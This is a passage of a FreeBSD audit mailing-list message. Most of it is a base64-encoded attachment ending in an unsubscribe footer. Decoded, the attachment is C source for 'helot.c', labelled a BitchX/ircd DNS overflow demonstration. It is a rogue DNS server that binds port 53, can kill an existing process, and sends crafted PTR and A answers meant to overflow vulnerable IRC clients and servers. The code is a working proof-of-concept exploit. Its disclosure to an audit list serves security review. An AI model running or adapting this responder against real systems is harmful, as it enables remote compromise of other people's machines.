ICAgICAgICBQVVRTSE9SVCgoSEZJWEVEU1ogfCAweGMwMDApLCBhbnN3ZXJSUik7CiAgICAg ICAgICAgICAgICAgICAgICAgIFBVVFNIT1JUKFRfTlVMTCwgYW5zd2VyUlIpOwogICAgICAg ICAgICAgICAgICAgICAgICBQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7CiAgICAgICAgICAg ICAgICAgICAgICAgIFBVVExPTkcodHRsLCBhbnN3ZXJSUik7CiAgICAgICAgICAgICAgICAg ICAgICAgIFBVVFNIT1JUKDAsIGFuc3dlclJSKTsKCgkJCWFoZHItPmFuY291bnQgPSBodG9u cygyKTsKICAgICAgICAgICAgICAgICAgICAgICAgYWhkci0+bnNjb3VudCA9IGh0b25zKDAp OwogICAgICAgICAgICAgICAgICAgICAgICBhaGRyLT5hcmNvdW50ID0gaHRvbnMoMCk7CiAg ICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKCQlkZWZhdWx0OgoJCQlmcHJpbnRmKHN0 ZGVyciwgIlxudHlwZSAlZCBxdWVyeSBub3Qgc3VwcG9ydGVkXG4iLAoJCQkJcXR5cGUpOwoJ CQlyZXR1cm4oMCk7Cgl9CgoJcmV0dXJuKGFuc3dlclJSIC0gKGNoYXIgKilhaGRyKTsKfQoK LyoKICogU29ja2V0QmluZCgpCiAqCiAqIGRlc2M6IGdldCdzIGEgdWRwIHNvY2tldCBhbmQg YmluZHMgaXQgdG8gZG5zIHBvcnQgNTMgYW5kIGFuIElQIGFkZHJlc3MKICogaW5wdXQ6IHBp ZCB0byBraWxsIGJlZm9yZSBiaW5kLCBzdHJ1Y3Qgc29ja2FkZHIgaW5pdGlhbGl6ZSwgSVAg YWRkcmVzcwogKiBvdXRwdXQ6IHNvY2tldCBkZXNjcmlwdG9yLCBvciAtMSBvbiBlcnJvcgog Ki8KaW50IFNvY2tldEJpbmQodV9zaG9ydCBwaWQsIHN0cnVjdCBzb2NrYWRkcl9pbiAqc2Es IHVfbG9uZyBsaXN0ZW5faXApCnsKCWludCBzZCwgc29ja29wdCwgc29ja29wdGxlbjsKCglp Zigoc2QgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19ER1JBTSwgMCkpIDwgMCkKCXsKCQlwZXJy b3IoImNhbid0IGdldCBhIHVkcCBzb2NrZXQiKTsKCQlyZXR1cm4oc2QpOwoJfQoKCQoJaWYo cGlkKQoJewoJCWZwcmludGYoc3RkZXJyLCAia2lsbGluZyBwaWQgJXUuLi4iLCBwaWQpOwoJ CWlmKGtpbGwocGlkLCBTSUdLSUxMKSA8IDApCgkJewoJCQlwZXJyb3IoImNhbid0IGtpbGwg cHJvY2VzcyIpOwoJCQlyZXR1cm4oLTEpOwoJCX0KCQlmcHJpbnRmKHN0ZGVyciwgImtpbGxl ZC5cbiIpOwoJfQoKCXNhLT5zaW5fZmFtaWx5ID0gQUZfSU5FVDsKCXNhLT5zaW5fcG9ydCA9 IGh0b25zKEROU19QT1JUKTsKCXNhLT5zaW5fYWRkci5zX2FkZHIgPSBsaXN0ZW5faXA7Cglz b2Nrb3B0ID0gMTsgc29ja29wdGxlbiA9IDQ7CglzZXRzb2Nrb3B0KHNkLCBTT0xfU09DS0VU LCBTT19SRVVTRUFERFIsIChjaGFyICopJnNvY2tvcHQsIHNvY2tvcHRsZW4pOwoKCWlmKGJp bmQoc2QsIChzdHJ1Y3Qgc29ja2FkZHIgKilzYSwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikp IDwgMCkKCXsKCQlwZXJyb3IoImNhbid0IGJpbmQgZG5zIHBvcnQgNTMiKTsKCQlyZXR1cm4o LTEpOwoJfQoKCWZwcmludGYoc3RkZXJyLCAibGlzdGVuaW5nIG9uICVzLi4uXG4iLCBpbmV0 X250b2Eoc2EtPnNpbl9hZGRyKSk7CglyZXR1cm4oc2QpOwp9CgovKgogKiBTZW5kUGt0KCkK ICoKICogZGVzYzogc2VuZCBkbnMgYW5zd2VyIHBhY2tldCBpbnRvIHRoZSBncmVhdCB1bmtu b3duCiAqIGlucHV0OiBzb2NrZXQsIHJlY2VpdmVkIHBhY2tldCwgYW5zd2VyIHN0cmluZywg YWRkaXRpb25hbCBhbnN3ZXIsIHR0bCwKICoJc3RydWN0IHNvY2thZGRyIGZyb20sIGZyb20g bGVuZ3RoCiAqIG91dHB1dDogcmV0dXJucyAjIGJ5dGVzIHNlbnQsIDwgMCBvbiBlcnJvcgog Ki8KaW50IFNlbmRQa3QoaW50IHNkLCBjaGFyICpyYnVmLCBjaGFyICphbnN3ZXIsIGNoYXIg KmFkZGl0aW9uYWwsIHVfbG9uZyB0dGwsCglzdHJ1Y3Qgc29ja2FkZHJfaW4gKnRvLCBpbnQg dG9sZW4pCnsKCWNoYXIgc2J1ZltQQUNLRVRTWl07CglpbnQgc2xlbiwgc2VudDsKCglzbGVu ID0gTWFrZUROU1BrdChyYnVmLCBzYnVmLCBQQUNLRVRTWiwgYW5zd2VyLCBhZGRpdGlvbmFs LCB0dGwpOwoJaWYoIXNsZW4pCgl7CgkJZnByaW50ZihzdGRlcnIsICJlcnJvciBidWlsZGlu ZyBhbnN3ZXIgcGFja2V0XG4iKTsKCQlyZXR1cm4oLTEpOwoJfQoJaWYoKHNlbnQgPSBzZW5k dG8oc2QsIHNidWYsIHNsZW4sIDAsIChzdHJ1Y3Qgc29ja2FkZHIgKil0bywgdG9sZW4pKSA8 IDApCgl7CgkJcGVycm9yKCJzZW5kaW5nIGFuc3dlciBwYWNrZXQiKTsKCQlyZXR1cm4oc2Vu dCk7Cgl9CglyZXR1cm4oc2VudCk7Cn0KCQovKgogKiBtYWluKCkKICovCmludCBtYWluKGlu dCBhcmdjLCBjaGFyICphcmd2W10pCnsKCWludCBzZCwgb3B0LCBybGVuLCBmcm9tbGVuLCBz ZW50LCBxdHlwZTsKCXVfc2hvcnQga2lsbHBpZCA9IDA7Cgl1X2xvbmcgdHRsID0gKDE1ICog NjApLCBpcCwgYmluZF9pcCA9IDA7CgljaGFyIHJidWZbUEFDS0VUU1pdOwoJY2hhciAqcW5h bWUgPSBOVUxMLCAgKmluYWRkcnN0ciA9IE5VTEwsICpob3N0bmFtZSA9IE5VTEw7CglzdHJ1 Y3Qgc29ja2FkZHJfaW4gbmFtZWQsIGZyb207CglmZF9zZXQgZG5zOwoKCWZwcmludGYoc3Rk ZXJyLCJcCmhlbG90LmMgLSBiaXRjaHgvaXJjZCBETlMgb3ZlcmZsb3cgZGVtb25zdHJhdGlv bgoxMi4wNC4yMDAwIG5pbXJvb2QgKG5pbXJvb2RAb25lYm94LmNvbSkKdzAwdzAwIFNlY3Vy aXR5IERldmVsb3BtZW50IChXU0QpXG5cbiIpOwoKCXdoaWxlKChvcHQgPSBnZXRvcHQoYXJn YywgYXJndiwgIms6dDpiOiIpKSAhPSAtMSkKCXsKCQlzd2l0Y2gob3B0KQoJCXsKCQkJY2Fz ZSAnayc6CgkJCQlraWxscGlkID0gYXRvaShvcHRhcmcpOwoJCQkJYnJlYWs7CgkJCWNhc2Ug J3QnOgoJCQkJdHRsID0gc3RydG91bChvcHRhcmcsIE5VTEwsIDApOwoJCQkJYnJlYWs7CgkJ CWNhc2UgJ2InOgoJCQkJaWYoKGJpbmRfaXAgPSBpbmV0X2FkZHIob3B0YXJnKSkgPT0gLTEp CgkJCQl7CgkJCQkJZnByaW50ZihzdGRlcnIsIAoJCQkJCSIlcyBpcyBub3QgYW4gaXAgYWRk cmVzcyFcbiIsIG9wdGFyZyk7CgkJCQkJZXhpdCgtMSk7CgkJCQl9CgkJCQlicmVhazsKCQkJ Y2FzZSAnPyc6CgkJCQlVc2FnZShhcmd2WzBdKTsKCQkJCS8qIE5PVCBSRUFDSEVEICovCgkJ CWRlZmF1bHQ6CgkJCQlmcHJpbnRmKHN0ZGVyciwgImdldG9wdCgpIGVycm9yIGRvaCFcbiIp OwoJCQkJZXhpdCgtMSk7CgkJfQoJfQoKCS8qIGdldCBpcCBhZGRyZXNzIGFuZCBob3N0bmFt ZSB0byB1c2UgZm9yIGFuc3dlcnMgKi8KCWlmKChhcmdjIC0gb3B0aW5kKSAhPSAyKQoJCVVz YWdlKGFyZ3ZbMF0pOwoKCWlmKChpcCA9IGluZXRfYWRkcihhcmd2W29wdGluZF0pKSA9PSAt MSkKCXsKCQlmcHJpbnRmKHN0ZGVyciwgIiVzIG5vdCBhbiBpcCBhZGRyZXNzIVxuIiwgYXJn dltvcHRpbmRdKTsKCQlleGl0KC0xKTsKCX0KCQogICAgICAgIC8qIGdldCBhIHNvY2tldCBh bmQgYmluZCBpdCB0byB0aGUgZG5zIHBvcnQgNTMgKi8KICAgICAgICBpZigoc2QgPSBTb2Nr ZXRCaW5kKGtpbGxwaWQsICZuYW1lZCwgYmluZF9pcCkpIDwgMCkKICAgICAgICB7CiAgICAg ICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgImVycm9yIHNldHRpbmcgdXAgbmV0d29yayFc biIpOwogICAgICAgICAgICAgICAgZ290byBleGl0X2hlbG90OwogICAgICAgIH0KCglpZigo aG9zdG5hbWUgPSBtYWxsb2Moc3RybGVuKGFyZ3ZbKytvcHRpbmRdKSArIDIpKSA9PSBOVUxM KQoJewoJCWZwcmludGYoc3RkZXJyLCAiY2FuJ3QgZ2V0IG1lbW9yeSBmb3IgaG9zdG5hbWUh XG4iKTsKCQlnb3RvIGV4aXRfaGVsb3Q7Cgl9CglzdHJjcHkoaG9zdG5hbWUsIGFyZ3Zbb3B0 aW5kXSk7CglpZigqKGhvc3RuYW1lICsgc3RybGVuKGhvc3RuYW1lKSkgIT0gJy4nKQoJCXN0 cmNhdChob3N0bmFtZSwgIi4iKTsKCglpZigoaW5hZGRyc3RyID0gaXAySW5BZGRyU3RyKGlw KSkgPT0gTlVMTCkKCXsKCQlmcHJpbnRmKHN0ZGVyciwgImNhbid0IGdldCBtZW1vcnkgZm9y IGluLWFkZHIgc3RyaW5nIVxuIik7CgkJZ290byBleGl0X2hlbG90OwoJfQoKCS8qIGNhdGNo IGN0cmwtYyBzbyBpIGNhbiBmcmVlIHVzZWQgbWVtb3J5ICovCglzaWduYWwoU0lHSU5ULCBD YXRjaFNpZ0ludCk7CgoJd2hpbGUoMSkKCXsKCQlGRF9aRVJPKCZkbnMpOwoJCUZEX1NFVChz ZCwgJmRucyk7CgkJaWYoc2VsZWN0KChzZCArIDEpLCAmZG5zLCBOVUxMLCBOVUxMLCBOVUxM KSA8IDApCgkJewoJCQlwZXJyb3IoImVycm9yIG9uIGxpc3RlbmluZyBzb2NrZXQiKTsKCQkJ YnJlYWs7CgkJfQoKCQlpZihGRF9JU1NFVChzZCwgJmRucykpCgkJewoJCQlmcm9tbGVuID0g c2l6ZW9mKGZyb20pOwoJCQlpZigocmxlbiA9IHJlY3Zmcm9tKHNkLCByYnVmLCBQQUNLRVRT WiwgMCwgCgkJCQkoc3RydWN0IHNvY2thZGRyICopJmZyb20sICZmcm9tbGVuKSkgPCAwKQoJ CQl7CgkJCQlwZXJyb3IoImVycm9yIHJlYWRpbmcgZnJvbSBzb2NrZXQiKTsKCQkJCWJyZWFr OwoJCQl9CgoJCQlpZighcmxlbikKCQkJewoJCQkJZnByaW50ZihzdGRlcnIsICJmcm9tICVz LCBlbXB0eSBwYWNrZXRcbiIsCgkJCQkJaW5ldF9udG9hKGZyb20uc2luX2FkZHIpKTsKCQkJ CWNvbnRpbnVlOwoJCQl9CgoJCQlpZigocW5hbWUgPSBQcm9jRE5TUGt0KHJidWYsIHJsZW4s ICZxdHlwZSkpID09IE5VTEwpCgkJCXsKCQkJCWZwcmludGYoc3RkZXJyLCAiZnJvbSAlcywg bm8gcXVlcnlcbiIsCgkJCQkJaW5ldF9udG9hKGZyb20uc2luX2FkZHIpKTsKCQkJCWNvbnRp bnVlOwoJCQl9CgkJCQoJCQlmcHJpbnRmKHN0ZGVyciwgImZyb20gJXMsICVzLyVzLCBxdWVy eSIsIGluZXRfbnRvYShmcm9tLnNpbl9hZGRyKSwKCQkJCXFuYW1lLCBRVHlwZTJTdHIocXR5 cGUpKTsKCgkJCWlmKHN0cmNhc2VjbXAocW5hbWUsIGluYWRkcnN0cikgPT0gMCAmJiBxdHlw ZSA9PSBUX1BUUikKCQkJewoJCQkJc2VudCA9IFNlbmRQa3Qoc2QsIHJidWYsIGhvc3RuYW1l LCAoY2hhciAqKSZpcCwKCQkJCQl0dGwsICZmcm9tLCBmcm9tbGVuKTsKCQkJCWlmKHNlbnQg PD0gMCkKCQkJCXsKCQkJCQlmcHJpbnRmKHN0ZGVyciwgIm5vIGFuc3dlciBzZW50ISFcbiIp OwoJCQkJCWJyZWFrOwoJCQkJfQoKCQkJCWZwcmludGYoc3RkZXJyLCAiIGFuc3dlcmVkLlxu Iik7CgkJCQljb250aW51ZTsKCQkJfQoKCQkJaWYoc3RyY2FzZWNtcChxbmFtZSwgaG9zdG5h bWUpID09IDAgJiYgcXR5cGUgPT0gVF9BKQoJCQl7CgkJCQlzZW50ID0gU2VuZFBrdChzZCwg cmJ1ZiwgaG9zdG5hbWUsIChjaGFyICopJmlwLCAKCQkJCQl0dGwsICZmcm9tLCBmcm9tbGVu KTsKCQkJCWlmKHNlbnQgPD0gMCkKCQkJCXsKCQkJCQlmcHJpbnRmKHN0ZGVyciwgIm5vIGFu c3dlciBzZW50ISFcbiIpOwoJCQkJCWJyZWFrOwoJCQkJfQoKCQkJCWZwcmludGYoc3RkZXJy LCAiIGFuc3dlcmVkXG4iKTsKCQkJfQoJCX0KCQlmcHJpbnRmKHN0ZGVyciwiXG4iKTsKCX0K CmV4aXRfaGVsb3Q6CglmcHJpbnRmKHN0ZGVyciwgIlxuY2xlYW5pbmcgdXAuLi5cbiIpOwoJ ZnJlZShxbmFtZSk7IGZyZWUoaG9zdG5hbWUpOyBmcmVlKGluYWRkcnN0cik7IGNsb3NlKHNk KTsKCWV4aXQoLTEpOwp9Cg== --1BoxPartBoundary97620769315457976207693-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message